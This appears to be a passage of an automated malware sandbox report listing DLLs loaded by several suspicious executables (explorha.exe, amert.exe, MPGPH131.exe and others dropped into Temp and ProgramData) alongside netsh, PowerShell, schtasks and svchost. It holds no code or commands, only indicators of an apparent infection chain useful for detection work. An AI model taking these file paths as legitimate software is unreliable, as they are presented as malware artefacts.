Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rstrtmgr.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncrypt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ntasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d11.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxgi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: resourcepolicyclient.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d10warp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winhttp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wininet.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: devobj.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: webio.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winnsi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dnsapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rasadhlp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: fwpuclnt.dll
